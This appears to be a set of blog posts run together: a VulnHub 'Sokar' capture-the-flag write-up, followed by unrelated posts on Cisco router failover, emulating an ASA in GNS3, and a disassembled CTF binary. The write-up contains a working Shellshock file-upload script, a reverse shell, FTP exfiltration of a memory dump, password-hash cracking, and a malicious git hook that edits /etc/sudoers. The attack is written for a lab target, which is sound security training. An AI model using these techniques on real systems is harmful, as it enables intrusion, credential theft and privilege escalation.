This is actually really great news, as I had already been attempting to gain a reverse shell from the server under the apache user, but all network communications appear to be blocked. This is evidence that a network connection can be made by bynarr over TCP port 51242. Though, did they mean source or destination port? (Answer to come later.)

Uploading arbitrary files

Before trying to mess around with reverse TCP connections, I decided to make a script that would allow me to inject files onto the server. Here’s inject.py for your pleasure:


import time
import os
import sys

url = ''
inject_file = sys.argv[1]
os.system('cp -f %s /tmp/inject' % (inject_file))
inject_file = os.path.basename(inject_file)
os.system('gzip -f /tmp/inject')
base64 = os.popen('base64 -w 0 /tmp/inject.gz').read()
append = '>'
pos = 0
chunk_size = 50

while pos < len(base64):
    end = pos + chunk_size
    if end > len(base64):
        end = len(base64)
    chunk = base64[pos:end]
    os.system("curl -H 'User-Agent: () { :; }; echo "%s" %s /tmp/inject.b64 ' %s > /dev/null 2> /dev/null " % (chunk, append, url))
    append = '>>'
    pos += chunk_size

os.system('curl -H "User-Agent: () { :; }; export PATH=/bin:/sbin:/usr/bin; base64 -d /tmp/inject.b64 > /tmp/inject.gz " %s > /dev/null 2> /dev/null ' % (url))
os.system('curl -H "User-Agent: () { :; }; export PATH=/bin:/sbin:/usr/bin; gunzip /tmp/inject.gz " %s > /dev/null 2> /dev/null ' % (url))
os.system('curl -H "User-Agent: () { :; }; export PATH=/bin:/sbin:/usr/bin; mv /tmp/inject /tmp/%s" %s > /dev/null 2> /dev/null ' % (inject_file, url))

This script will take any file as an argument and place it in the /tmp/ directory of Sokar, using multiple 50-Base64-byte chunks.

Getting an interactive shell

Things we need:

  • A reverse shell:
    import socket,subprocess,os,sys
    s.connect(( '', 51242 ))
  • The ability to run commands as bynarr. For this we will use pexpect, which we will inject onto the server
  • A script to interact with pexpect, allowing us to su to bynarr and execute the reverse shell:
    import pexpect
    import time
    child = pexpect.spawn('su - bynarr')
    child.sendline('python /tmp/reverse_shell.py')
    child.sendline('echo ok')
    while True:

(By the way, this answers the earlier question about whether TCP 51242 is the source or destination port. I discovered through trial and error that from Sokar’s perspective TCP 51242 must be the destination. I think, therefore, root was being a bit disingenuous when using the word ephemeral which would usually imply what the source port should be. =))

All three of the above files are uploaded to the server and run (once we make sure that we have a waiting socket on the attacking machine to accept connections!).

root@worry64:~/sokar# ./inject.py /usr/lib/python2.6/dist-packages/pexpect.py
root@worry64:~/sokar# ./inject.py reverse_shell.py
root@worry64:~/sokar# ./inject.py execute_shell.py
root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo """"; cd /tmp; /usr/bin/python execute_shell.py'

Ta da! Got a connection. (I check the id and improve the shell I’ve given quickly:

root@worry64:~/sokar# ncat -nlvp 51242
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::51242
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
sh-4.1$ id
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[bynarr@sokar ~]$

The Limey

With the interactive shell, we revisit the lime script in /home/bynarr. The script allows the loading or unloading of a kernel module called lime.so:

echo """
Linux Memory Extractorator
echo "LKM, add or remove?"
echo -en "> "

read -e input

if [ $input == "add" ]; then

	/sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"

elif [ $input == "remove" ]; then

	/sbin/rmmod lime


	echo "Invalid input, burn in the fires of Netu!"


Execution of insmod is usually restricted to root, but we can suspect that if it’s been placed there by root then bynarr’s been given sudo rights to run it.

[bynarr@sokar ~]$ sudo -l
sudo -l
Matching Defaults entries for bynarr on this host:
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS

User bynarr may run the following commands on this host:
    (ALL) NOPASSWD: /home/bynarr/lime
[bynarr@sokar ~]$ sudo /home/bynarr/lime
sudo /home/bynarr/lime

Linux Memory Extractorator

LKM, add or remove?
> add
[bynarr@sokar ~]$

Doing some research on LiME reveals that it’s a forensics kernel module that allows extraction of the entire contents of system memory. Fantastic. This creates a 256MB file at /tmp/ram which I need to get off the server for offline analysis.

We’re already using the only IPv4 port that can allegedly be used for connections, and 256MB is too much to dump to the terminal in Base64 encoding. I could kill my connection and upgrade to a Meterpreter shell, but I’d rather keep my tool use to a minimum.

The choice of a new generation

I noticed earlier that Sokar has IPv6 enabled:

[bynarr@sokar ~]$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:f2:40:db brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
    inet6 fe80::a00:27ff:fef2:40db/64 scope link
       valid_lft forever preferred_lft forever

What are the chances that the administrator didn’t take the same precautions about IPv6 connections that were taken for IPv4? I ping my attacking machine from the victim:

[bynarr@sokar ~]$ ping6 -c 1 fe80::20c:29ff:fe05:9901%eth0
ping6 -c 1 fe80::20c:29ff:fe05:9901%eth0
PING fe80::20c:29ff:fe05:9901%eth0(fe80::20c:29ff:fe05:9901) 56 data bytes
64 bytes from fe80::20c:29ff:fe05:9901: icmp_seq=1 ttl=64 time=0.682 ms

--- fe80::20c:29ff:fe05:9901%eth0 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.682/0.682/0.682/0.000 ms

Looks promising. I’ll just upload ftp (it’s not on the server):

root@worry64:~/sokar# ./inject.py /usr/bin/ftp
root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo """"; /bin/chmod 755 /tmp/ftp; '

And then upload the file for analysis from Sokar:

[bynarr@sokar ~]$ cd /tmp/
cd /tmp/
[bynarr@sokar tmp]$ ./ftp fe80::20c:29ff:fe05:9901%eth0
./ftp fe80::20c:29ff:fe05:9901%eth0
Connected to fe80::20c:29ff:fe05:9901%eth0.
220 (vsFTPd 2.3.5)
Name (fe80::20c:29ff:fe05:9901%eth0:bynarr): electric
331 Please specify the password.

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> put ram
put ram
local: ram remote: ram
229 Entering Extended Passive Mode (|||43524|).
150 Ok to send data.
226 Transfer complete.
267909120 bytes sent in 4.99 secs (52420.7 kB/s)

Memory hunting

There’s a lot of information to trawl through in the RAM dump (have a look if you don’t believe me).

Having already wandered around the server quite a bit by this point – and having found that everything felt quite secure (i.e. no services to exploit, no misconfigurations, no vulnerable kernel) – I was convinced that it was actually just password hashes that were needed and that the next target was either the apophis user or root directly.

Opening up ram in hexedit and performing some searches (e.g. ‘shadow’, ‘passwd’, ‘password’) provided many many results, but a search for ‘apophis’ yielded the fastest return with a copy of the /etc/shadow file:


I added the hashes to a file and ran john against them using the RockYou password list. After not very long, I got the password for apophis:

root@worry64:~/sokar# john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 3 password hashes with 3 different salts (sha512crypt [64/64])
fruity           (bynarr)
overdrive        (apophis)
guesses: 2  time: 0:00:01:37 0.23% (ETA: Thu Feb 19 08:34:35 2015)  c/s: 846  trying: ellah - daneil
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

BOOM! Let’s have a look what’s in apophis’s home:

[bynarr@sokar tmp]$ su apophis -
su apophis -
Password: overdrive

[apophis@sokar tmp]$ cd
[apophis@sokar ~]$ ls -la
ls -la
total 32
drwx------  2 apophis apophis 4096 Jan  2 20:12 .
drwxr-xr-x. 4 root    root    4096 Dec 30 19:20 ..
-rw-------  1 apophis apophis    0 Jan 15 21:15 .bash_history
-rw-r--r--  1 apophis apophis   18 Feb 21  2013 .bash_logout
-rw-r--r--  1 apophis apophis  176 Feb 21  2013 .bash_profile
-rw-r--r--  1 apophis apophis  124 Feb 21  2013 .bashrc
-rwsr-sr-x  1 root    root    8430 Jan  2 17:49 build
[apophis@sokar ~]$ file build
file build
build: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[apophis@sokar ~]$ ./build
Build? (Y/N) Y
Cloning into '/mnt/secret-project'...
ssh: Could not resolve hostname sokar-dev: Name or service not known
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
[apophis@sokar ~]$

Ok, we’ve got an ELF executable, which is run as root, and which appears to be trying to access another server called sokar-dev.

What’s he building in there?

Taking a copy of build off the server to disassemble reveals that the main purpose of the executable is encrypted. However, by debugging the program, we can discover quite easily what it’s doing:

This tells us that the script gets root to execute:

/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/

It’s not immediately clear how this could help, as cloning a repository is a safe routine. If it wasn’t, then there would be hundreds of nefarious projects tricking people into executing exploitative code, right?

But I had a niggling doubt, so I decided to check the CVE database for git vulnerabilities, bearing in mind that Sokar has git version 2.2.0.

Well it turns out that Git 2.2.0 has a vulnerability. The CVE appears to be undetailed as of writing, but it’s been publicised elsewhere since 18th December.

You git

Essentially, if a user checks out a nefarious repository with Git version 2.2.0 it is possible for an attacker to get arbitrary command execution. This only affects case insensitive file systems, so Linux should really be safe. However, the location where we’re going to be checking out to – /mnt/secret-project/ – is on a vfat volume, which is case insensitive:

[apophis@sokar ~]$ mount
/dev/sda1 on / type ext4 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)

The end is in sight. First we need to get Sokar to recognise our attacking machine as sokar-dev. As luck would have it, /etc/resolv.conf is world writeable!

[apophis@sokar ~]$ ls -l /etc/resolv.conf
ls -l /etc/resolv.conf
-rw-rw-rw- 1 root root 19 Jan  2 20:12 /etc/resolv.conf
[apophis@sokar ~]$ cat /etc/resolv.conf
cat /etc/resolv.conf
[apophis@sokar ~]$ echo "nameserver fe80::20c:29ff:fe05:9901%eth0" > /etc/resolv.conf
<meserver fe80::20c:29ff:fe05:9901%eth0" > /etc/resolv.conf

We add a DNS zone file to BIND on the attacking machine, and of course we get sokar-dev to resolve to us. I’ll provide both IPv4 and IPv6 addresses just in case the administrator opened the IPv4 firewall just for this purpose. (Although, I’m pretty sure that IPv6 wouldn’t work anyway as the addresses we have are only local-link addresses and the interface/scopeId would need to be specified in the git command.)

; BIND data file for sokar
$TTL	604800
@	IN	SOA	sokar-dev. root.localhost. (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			 604800 )	; Negative Cache TTL
@	IN	NS	sokar-dev.
@	IN	A
@	IN	AAAA	fe80::20c:29ff:fe05:9901

An evil repository

The git clone command is vulnerable because we are able to take control of the user’s git configuration. The simplest way to abuse that is to create a post-checkout hook that the user never made that will execute an arbitrary command.

The command we will run is:

printf "napophis ALL=(ALL:ALL) ALLn" >> /etc/sudoers

i.e. add full sudo privileges for user apophis.

To do so, we create an evil repository with a post-checkout hook in the .GIT/HOOKS directory.

To show the creation of a bad repository, I’ve made a quick video. The working location is root‘s home directory on the attacking machine; that is the location that the victim’s root user is going to connect to to retrieve the repository.

Privilege elevation

All that leaves is to clone the the repository, which will in turn checkout the HEAD revision, write a hook to .git/hooks/post-checkout, and execute it…

[apophis@sokar ~]$ ./build
Build? (Y/N) Y
Cloning into '/mnt/secret-project'...
The authenticity of host 'sokar-dev (' can't be established.
RSA key fingerprint is 70:94:9a:cf:85:31:92:e8:34:c8:9c:ed:3a:79:ed:a5.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'sokar-dev,' (RSA) to the list of known hosts.
root@sokar-dev's password: ********

remote: Counting objects: 5, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (5/5), done.
Checking connectivity... done.
[apophis@sokar ~]$ sudo su -
sudo su -
[sudo] password for apophis: overdrive

[root@sokar ~]# ls -l
ls -l
total 8
-rw-r--r-- 1 root root 678 Jan  2 17:21 build.c
-rw-r--r-- 1 root root 837 Jan 15 21:14 flag
[root@sokar ~]# cat flag
cat flag
                0   0
                |   |
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
  0   |    B i r t h d a y    |   0
  |   |////////////|   |
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |

| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |
[root@sokar ~]#


Just for completeness, here’s the iptables configuration that prevented all connections except bynarr‘s outgoing connections to destination TCP port 51242, root‘s outbound SSH connections to sokar-dev, and the server’s outbound DNS queries.

[root@sokar ~]# iptables-save
# Generated by iptables-save v1.4.7 on Wed Feb 18 21:15:22 2015
:INPUT ACCEPT [285:33635]
-A INPUT -p icmp -j DROP
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m state --state ESTABLISHED -m tcp --sport 22 -j ACCEPT
-A INPUT -p tcp -m state --state NEW,ESTABLISHED -m tcp --dport 591 -j ACCEPT
-A INPUT -p udp -m udp --sport 53 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED -m owner --uid-owner root -m tcp --dport 22 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -m owner --uid-owner root -j ACCEPT
-A OUTPUT -p tcp -m state --state ESTABLISHED -m tcp --sport 591 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED -m owner --gid-owner bynarr -m tcp --dport 51242 -j ACCEPT
# Completed on Wed Feb 18 21:15:22 2015


This was a great challenge.  There were lots of steps covering many unrelated areas and it didn’t feel contrived. After my last big challenge which mainly concentrated on binary exploitation, it was nice to attack a machine that was mainly vulnerable through tools and configuration. It’s close in spirit to the machines in the Offensive Security‘s PWK course.

It would have been nice if there had been an additional step required to modify /etc/resolv.conf; that was the only bit that felt a little unlikely. However, despite that it still proved to be very time consuming and frustrating (in a good way) and I highly recommend others to try it even now that the competition has closed.

Thanks again to Rasta Mouse and g0tmi1k from VulnHub for the great work on this. Please feel free to leave any comments or questions.

High availability Internet connectivity on a budget

This post was originally written back in 2012 in my previous job. I’ve reposted it here in case it’s of any use in the future.

How can you improve Internet connectivity for an office on a budget?

This was a problem we had recently for a customer of ours. The customer did not have a budget for a highly available Internet connection from an ISP. Their existing service was a standard business/consumer cable connection that performed all of their needs most of the time and was about all they felt they needed to pay. However, they needed to insure against the occasional outage that is not uncommon for such a service (one or two hours a month, say). Spending thousands of pounds was not an option on the table.

The service did indeed fail every few weeks, but the provider had been unable to improve reliability and so the problem remained one of: tolerate the problem or look for an alternative more reliable provider.

However, the customer already had a Cisco 1811 ISR router (circa £600) which would be able to provide route failover if only there was a second Internet connection.

The solution we offered and implemented was to install a second low cost Internet connection from another supplier, and to implement IP SLAs to handle failover. The existing router had all of the features required using only static routes and without any routing protocols.

Two ISPs connected to one router
The planned configuration

The following post is very Cisco oriented, but similar features may be available with alternative vendors’ equipment.

Basic configuration

The cable connection was the fastest, and so that would be the active connection. The DSL connection would be redundant and only come into use when failure of the cable connection occurred.

The DSL connection was tested and then connected to a free Layer 3 port on the router. It was was added to the routing table thus:

ip route FastEthernet0 10
ip route FastEthernet1 20

The lower metric for FastEthernet0 means that all traffic will be routed out that unless the interface is administratively down. However, if the interface is up and the ISP has a failure upstream, then the connection will not automatically failover. More on that later.

Address translation and route maps

Outgoing connections need to be translated to the correct public IP address depending on what route is taken. (This is in contrast to higher availability solutions where the IP addresses might be rerouted.) The existing NAT rules were simply duplicated for the new connection. Here, using route maps, the connection is translated to the correct IP address depending on which interface the connection leaves:

ip access-list extended LAN-WAN
 remark Inside to Outside traffic
 permit ip any
route-map NAT-FE0 permit 10
 match ip address LAN-WAN
 match interface FastEthernet0
route-map NAT-FE1 permit 10
 match ip address LAN-WAN
 match interface FastEthernet1
ip nat inside source route-map NAT-FE0 interface FastEthernet0 overload
ip nat inside source route-map NAT-FE1 interface FastEthernet1 overload

At this stage, the failover can be tested by manually shutting down FastEthernet0. (It may also be necessary to clear the NAT translation table.) All being correct, Internet connection should remain available.


The final step to providing failover is remarkably simple.

First a suitable upstream IP address needs to be found for each connection to monitor for availability. Your ISPs have probably provided equipment that serve as the next hop. However, monitoring those is not suitable for they will remain available when the connection has failed further upsteam.

Perform a trace route for each connection to determine a suitable test candidate. Here, upstream routers have been identified that can be monitored for availability.

Traceroute can be used for each connection to identify the upstream routers on the service provider network.
Service provider routers identified for monitoring *

Now, SLA rules can be defined to monitor the two connections.

ip sla 1
 icmp-echo source-interface FastEthernet0
 threshold 500
 timeout 1000
 frequency 5
 history lives-kept 2
 history filter all
ip sla schedule 1 life forever start-time now
ip sla 2
 icmp-echo source-interface FastEthernet1
 threshold 500
 timeout 1000
 frequency 5
 history lives-kept 2
 history filter all
ip sla schedule 2 life forever start-time now
track 1 ip sla 1 reachability
 delay down 15 up 120
track 2 ip sla 2 reachability
 delay down 15 up 120

Above, two seperate SLAs have been configured. Each independently pings the upstream routers every 5 seconds, and notes a problem if there is not a response within 1 second (or 1000ms). However, we want to avoid invoking a failover if the disruption is short, so the connection must be down for 15 seconds before a failure will occur. We also want to avoid flapping of the connection (if the connection is regularly going down every minute it will cause frustration to bring it back every time), so a failed state will only end after 120 seconds without timeout.

You can now check the current status with the ‘show track’ command. The command should show ‘Reachability is Up’ for each connection. To put the rules into effect, the routing table must be modified to use the rules. In the following, the routes have been altered to reference the track objects, and so a failure will cause the route entry to be disabled.

ip route FastEthernet0 10 track 1
ip route FastEthernet1 20 track 2

One more thing…

Once a failover does occur, the route is effectively gone from the routing table. That applies equally for traffic originating from the router as it does for traffic going across it. That includes the monitoring traffic. To allow the router to detect the resolution of a service outage after a failover, explicit routes need to be added to the routing table for each monitored router:

ip route FastEthernet0 10
ip route FastEthernet1 10

You now have a simple failover between two basic Internet connections using standard features available in most Cisco IOS routers, while avoiding the use of routing protocols and expensive availabilty solutions from service providers.


So far, in the last two months the primary connection (which is the fastest and preferred, but unfortunately the less reliable) has been down on three occasions for an average of 3 hours each time. Already the improvements have paid off.

In future articles I will elaborate on expanding the configuration to include load-balancing traffic to make better use of the redundant connection, and how incoming traffic for services such as web and email can continue to be served during a service provider failure.

* There are caveats with this post’s selection of router to monitor. If the ISP has a failure somewhere further upstream then your monitoring will fail to notice it. Alternatively, if the ISP reorganises the network and the router you were monitoring is removed, the monitoring will incorrectly believe the connection is down. These problems must be considered on a per connection basis and may need to be solved with the assistance of the particular service providers involved.

Emulating a Cisco ASA in GNS3

I originally wrote a post with this title for my last employer’s website 2 years ago. It was pretty popular for some reason (perhaps because information about ASA emulation was a lot less common than it is now), so I decided to revisit it and update it if required.

Back at the time, I was working on an upgrade of a pair of critical Cisco ASA firewalls from version 8.2 to a version greater than 8.3; this is a major upgrade that changes the commands for NAT significantly.

Cisco have incorporated a migration script into the upgrade process that attempts to convert the old 8.2 commands to 8.3 syntax. However, it’s not perfect and some configurations will just not migrate without intervention.

Having initially attempted the upgrade on the standby ASA, the automatically generated configuration produced by the upgrade was found to be producing undesirable behaviour. The ASA was rolled back but not before taking a copy of the configuration. Being unable to purchase another ASA for lab testing, the bad configuration was loaded into an emulated ASA in GNS3 and through trial and error new quirks in ASA configuration were corrected and the problem solved in the live environment.


An excellent script by dmz at 7200emu.hacki.at (repack.v4.sh.gz) is necessary. This will take an ASA image and separate it into two files – a RAM disk and a kernel image. (Register and login to be able to download it.)

You will also need the Cisco ASA 8.4(2) image (asa842-k8.bin), as that is the image that the repack script is designed for. I did not attempt to use or remodel the repack script for other ASA versions, so that’s an interesting challenge for another day.

On a Linux system (I’m using Linux Mint 17, which should be very similar in behaviour to Ubuntu 14.04), run the script against the image. (Script needs run as root to avoid errors from cpio, so run at own risk.)

worry@worry ~/Downloads/GNS3 $ sudo ./repack.v4.sh ./asa842-k8.bin
Repack script version: 4
no syslinux/cdrtools - ISO creation skipped
1359344+0 records in
1359344+0 records out
1359344 bytes (1.4 MB) copied, 16.3211 s, 83.3 kB/s
23697936+0 records in
23697936+0 records out
23697936 bytes (24 MB) copied, 287.148 s, 82.5 kB/s
/tmp/tmp.ZNydsMXWhy ~/Downloads/GNS3

gzip: /home/worry/Downloads/GNS3/asa842-initrd-original.gz: decompression OK, trailing garbage ignored
114476 blocks
114476 blocks
114476 blocks

Keep two of the files produced:

  • asa842-vmlinuz
  • asa842-initrd.gz

Since Linux is what I work in these days, I’m mainly interested in getting GNS3 working in that, but I was unable to get it to work without a programming assertion failure. Since I had no such problems in Windows, and I will probably rarely or never need to emulate an ASA again, that will suffice.

Windows guide

GNS3 has had had quite a few updates since 0.8.3. Now in version 1.1, the installer now includes WinPcap and Wireshark by default. I’ll assume that the GNS3-1.1-all-in-one.exe installer has been installed with the default packages at minimum.

Once installed, open GNS3 and in Edit > Preferences > QEMU > QEMU VMs, create a New VM.

Name the VM whatever you want, but set the Type to ‘ASA 8.4(2)’. The default Qemu binary of qemu-system-x86_64w.exe is fine, as is the 1024MB of RAM. Choose the initrd and vmlinuz binary files created earlier, and then save the VM preferences.

The completed VM should look something like this:

GNS3 1.1 QEMU VM Configuration

Now, having created the VM definition, simply drag an ASA device into a topology; you should now be able to start it, connect to the console, and make connections just like any IOS device…

ASA successfully booted in GNS3 on Windows

Linux guide

As already mentioned above, I was unsuccessful getting a working solution in Linux, but I will put one here if I ever get one.

(It’s possible that I was making problems for myself by not to downloading the latest versions of GNS3 and Qemu. I prefer to use the distro packages wherever possible.)


wopr decompiled

This post is a follow up to my Persistence post, and only of interest to people that really want to compare my decompiled C with the disassembled wopr binary.

Here follows the disassembled wopr executable, with my decompiling comments interspersed.

I glossed over error handling; wopr’s handling of failures (such as failure to open sockets) is completely ignored; only a best case-scenario is examined.

root@kali:~/persistence# objdump -s -j .rodata wopr

wopr:     file format elf32-i386

Contents of section .rodata:
 8048c08 03000000 01000200 00000000 5b2b5d20  ............[+]
 8048c18 79656168 2c204920 646f6e27 74207468  yeah, I don't th
 8048c28 696e6b20 736f0a00 736f636b 65740073  ink so..socket.s
 8048c38 6574736f 636b6f70 74006269 6e64005b  etsockopt.bind.[
 8048c48 2b5d2062 696e6420 636f6d70 6c657465  +] bind complete
 8048c58 006c6973 74656e00 2f746d70 2f6c6f67  .listen./tmp/log
 8048c68 00544d50 4c4f4700 5b2b5d20 77616974  .TMPLOG.[+] wait
 8048c78 696e6720 666f7220 636f6e6e 65637469  ing for connecti
 8048c88 6f6e7300 5b2b5d20 6c6f6767 696e6720  ons.[+] logging
 8048c98 71756572 69657320 746f2024 544d504c  queries to $TMPL
 8048ca8 4f470061 63636570 74005b2b 5d20676f  OG.accept.[+] go
 8048cb8 74206120 636f6e6e 65637469 6f6e0000  t a connection..
 8048cc8 5b2b5d20 68656c6c 6f2c206d 79206e61  [+] hello, my na
 8048cd8 6d652069 73207370 6c6f6974 61626c65  me is sploitable
 8048ce8 0a000000 5b2b5d20 776f756c 6420796f  ....[+] would yo
 8048cf8 75206c69 6b652074 6f20706c 61792061  u like to play a
 8048d08 2067616d 653f0a00 3e20005b 2b5d2062   game?..> .[+] b
 8048d18 7965210a 00                          ye!..

root@kali:~/persistence# objdump -M intel -d wopr

wopr:     file format elf32-i386

<snip />

08048774 <get_reply>:
 8048774:    55                       push   ebp
 8048775:    89 e5                    mov    ebp,esp
 8048777:    83 ec 3c                 sub    esp,0x3c

:ARGUMENTS get_reply(char* request, int length, int filehandle)
 804877a:    8b 45 08                 mov    eax,DWORD PTR [ebp+0x8]
 804877d:    89 45 d8                 mov    DWORD PTR [ebp-0x28],eax
 8048780:    8b 45 0c                 mov    eax,DWORD PTR [ebp+0xc]
 8048783:    89 45 d4                 mov    DWORD PTR [ebp-0x2c],eax
 8048786:    8b 45 10                 mov    eax,DWORD PTR [ebp+0x10]
 8048789:    89 45 d0                 mov    DWORD PTR [ebp-0x30],eax

:CANARY A canary at EBP-0x4 gets set to a doubleword from gs:0x14
 804878c:    65 a1 14 00 00 00        mov    eax,gs:0x14
 8048792:    89 45 fc                 mov    DWORD PTR [ebp-0x4],eax

 8048795:    31 c0                    xor    eax,eax

:SYSTEM CALL. Here memcpy is called, and *request is copied to a local variable; let's call it dest:
char[30] dest;
memcpy(dest, filehandle, length);
 8048797:    8b 45 d4                 mov    eax,DWORD PTR [ebp-0x2c]
 804879a:    89 44 24 08              mov    DWORD PTR [esp+0x8],eax
 804879e:    8b 45 d8                 mov    eax,DWORD PTR [ebp-0x28]
 80487a1:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 80487a5:    8d 45 de                 lea    eax,[ebp-0x22]
 80487a8:    89 04 24                 mov    DWORD PTR [esp],eax
 80487ab:    e8 6c fe ff ff           call   804861c <memcpy@plt>

write(filehandle, "[+] yeah, I don't think son", 27);
 80487b0:    c7 44 24 08 1b 00 00     mov    DWORD PTR [esp+0x8],0x1b
 80487b7:    00
 80487b8:    c7 44 24 04 14 8c 04     mov    DWORD PTR [esp+0x4],0x8048c14
 80487bf:    08
 80487c0:    8b 45 d0                 mov    eax,DWORD PTR [ebp-0x30]
 80487c3:    89 04 24                 mov    DWORD PTR [esp],eax
 80487c6:    e8 c1 fd ff ff           call   804858c <write@plt>

:CANARY TEST. If the canary value in EBP-0x4 has changed, then call __stack_chk_fail.
 80487cb:    8b 45 fc                 mov    eax,DWORD PTR [ebp-0x4]
 80487ce:    65 33 05 14 00 00 00     xor    eax,DWORD PTR gs:0x14
 80487d5:    74 05                    je     80487dc <get_reply+0x68>
 80487d7:    e8 80 fe ff ff           call   804865c <__stack_chk_fail@plt>
:ELSE exit the function as normal.
 80487dc:    c9                       leave
 80487dd:    c3                       ret

080487de <main>:
 80487de:    55                       push   ebp
 80487df:    89 e5                    mov    ebp,esp
 80487e1:    81 ec 58 02 00 00        sub    esp,0x258

:ARGUMENTS main(int argc, char* argv[])
 80487e7:    8b 45 08                 mov    eax,DWORD PTR [ebp+0x8]
 80487ea:    89 85 c4 fd ff ff        mov    DWORD PTR [ebp-0x23c],eax
 80487f0:    8b 45 0c                 mov    eax,DWORD PTR [ebp+0xc]
 80487f3:    89 85 c0 fd ff ff        mov    DWORD PTR [ebp-0x240],eax
 80487f9:    8b 45 10                 mov    eax,DWORD PTR [ebp+0x10]
 80487fc:    89 85 bc fd ff ff        mov    DWORD PTR [ebp-0x244],eax

:CANARY A canary at EBP-0x4 gets set to a doubleword from gs:0x14
 8048802:    65 a1 14 00 00 00        mov    eax,gs:0x14
 8048808:    89 45 fc                 mov    DWORD PTR [ebp-0x4],eax

 804880b:    31 c0                    xor    eax,eax

:VARIABLE int optval = 1;
 804880d:    c7 85 d0 fd ff ff 01     mov    DWORD PTR [ebp-0x230],0x1
 8048814:    00 00 00

:SYSTEM CALL int s = socket(PF_UNIX, SOCK_STREAM, 0);
 8048817:    c7 85 cc fd ff ff 10     mov    DWORD PTR [ebp-0x234],0x10
 804881e:    00 00 00
 8048821:    c7 44 24 08 00 00 00     mov    DWORD PTR [esp+0x8],0x0
 8048828:    00
 8048829:    c7 44 24 04 01 00 00     mov    DWORD PTR [esp+0x4],0x1
 8048830:    00
 8048831:    c7 04 24 02 00 00 00     mov    DWORD PTR [esp],0x2
 8048838:    e8 cf fd ff ff           call   804860c <socket@plt>
 804883d:    89 85 d8 fd ff ff        mov    DWORD PTR [ebp-0x228],eax
 8048843:    83 bd d8 fd ff ff 00     cmp    DWORD PTR [ebp-0x228],0x0
 804884a:    79 1b                    jns    8048867 <main+0x89>
 804884c:    c7 04 24 30 8c 04 08     mov    DWORD PTR [esp],0x8048c30
 8048853:    e8 94 fd ff ff           call   80485ec <perror@plt>
 8048858:    e8 0f fd ff ff           call   804856c <__errno_location@plt>
 804885d:    8b 00                    mov    eax,DWORD PTR [eax]
 804885f:    89 04 24                 mov    DWORD PTR [esp],eax
 8048862:    e8 45 fe ff ff           call   80486ac <exit@plt>

:SYSTEM CALL setsockopt(s, 1, SO_REUSEADDR, *optval, 4);
 8048867:    c7 44 24 10 04 00 00     mov    DWORD PTR [esp+0x10],0x4
 804886e:    00
 804886f:    8d 85 d0 fd ff ff        lea    eax,[ebp-0x230]
 8048875:    89 44 24 0c              mov    DWORD PTR [esp+0xc],eax
 8048879:    c7 44 24 08 02 00 00     mov    DWORD PTR [esp+0x8],0x2
 8048880:    00
 8048881:    c7 44 24 04 01 00 00     mov    DWORD PTR [esp+0x4],0x1
 8048888:    00
 8048889:    8b 85 d8 fd ff ff        mov    eax,DWORD PTR [ebp-0x228]
 804888f:    89 04 24                 mov    DWORD PTR [esp],eax
 8048892:    e8 f5 fd ff ff           call   804868c <setsockopt@plt>
 8048897:    85 c0                    test   eax,eax
 8048899:    79 1b                    jns    80488b6 <main+0xd8>
 804889b:    c7 04 24 37 8c 04 08     mov    DWORD PTR [esp],0x8048c37
 80488a2:    e8 45 fd ff ff           call   80485ec <perror@plt>
 80488a7:    e8 c0 fc ff ff           call   804856c <__errno_location@plt>
 80488ac:    8b 00                    mov    eax,DWORD PTR [eax]
 80488ae:    89 04 24                 mov    DWORD PTR [esp],eax
 80488b1:    e8 f6 fd ff ff           call   80486ac <exit@plt>

:VARIABLE struct sockaddr_in address;
address.sin_family = AF_INET;
address.sin_port = htons(3333);
address.sin_addr = 0;
